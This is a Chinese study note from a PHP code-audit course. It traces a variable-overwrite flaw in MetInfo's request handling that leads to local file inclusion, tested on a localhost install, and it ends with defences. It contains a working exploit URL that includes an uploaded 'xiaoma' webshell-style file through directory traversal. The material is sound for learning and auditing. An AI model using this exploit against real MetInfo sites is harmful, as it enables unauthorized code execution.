本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程
1. 简介
变量覆盖漏洞
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables()
metinfo
2. 实战
用户请求数据处理代码
C:\wamp\www\metinfo\include\common.inc.php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); $_M['form'][$_key] = daddslashes($_value,0,0,1); } }
代码中使用 $_request 来获取用户信息
代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。
代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数 daddslashes() 对变量值进行处理。
代码中查找 daddslashes() 函数
/*POST变量转换*/ function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){ !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } } if(is_array($string)){ if($url){ //$string=''; foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } }else{ foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } } return $string; }
可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。
关于页面
接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:
\about\index.php:
<?php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; require_once $module; ?>
以上代码中的 $module 变量未赋值
先来输出一下看看 $module 变量的值是什么
<?php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; echo $module; require_once $module; ?>
浏览器执行 http://127.0.0.1/metinfo/about/index.php
可以看到 $module 的值是 show.php
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123456
$module 的值并没有覆盖掉
分析 require_once ‘../include/module.php’;
if(!defined('IN_MET'))require_once 'common.inc.php';
看到包含了 common.inc.php 文件
也就是说 \about\index.php 文件中的 _request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:
<?php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; echo $module; echo $fmodule; require_once $module; ?>
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=test
fmodule变量和module变量之间的关系
因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:
if($fmodule!=7){ if($mdle==100)$mdle=3; if($mdle==101)$mdle=5; $module = $modulefname[$mdle][$mdtp]; if($module==NULL){okinfo('../404.html');exit();} if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){ if($fmodule==$mdle){ $module = $modulefname[$mdle][$mdtp]; } else{ okinfo('../404.html');exit(); } } else{ if($list){ okinfo('../404.html');exit(); } else{ $module = $modulefname[$mdle][$mdtp]; } } if($mdle==8){ if(!$id)$id=$class1; $module = '../feedback/index.php'; } } ?>
先在结尾输出一下看看能不能进行覆盖:
......... ......... if($mdle==8){ if(!$id)$id=$class1; $module = '../feedback/index.php'; } } echo $module; ?>
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=test
当fmodule不为7时,不覆盖;fmodule为7时,覆盖:
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7
即存在变量覆盖漏洞,可以进行文件包含漏洞的利用。
漏洞利用
下面就是利用的示例,包含上传的小马文件xiaoma.txt:
<?php phpinfo();?>
浏览器执行 http://127.0.0.1/metinfo/about/index.php?fmodule=7&module=../upload/xiaoma.txt
防御方法
最简单的防御实现就是,直接在\about\index.php中判断module变量的值是否等于“show.php”,若是则包含指定的文件,否则不进行任何操作:
\about\index.php:
<?php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; if ($module=="show.php"){ require_once $module; } ?>
这里提一下PHP文件包含漏洞正常的防御方法:
1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include(“head.php”)”。
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。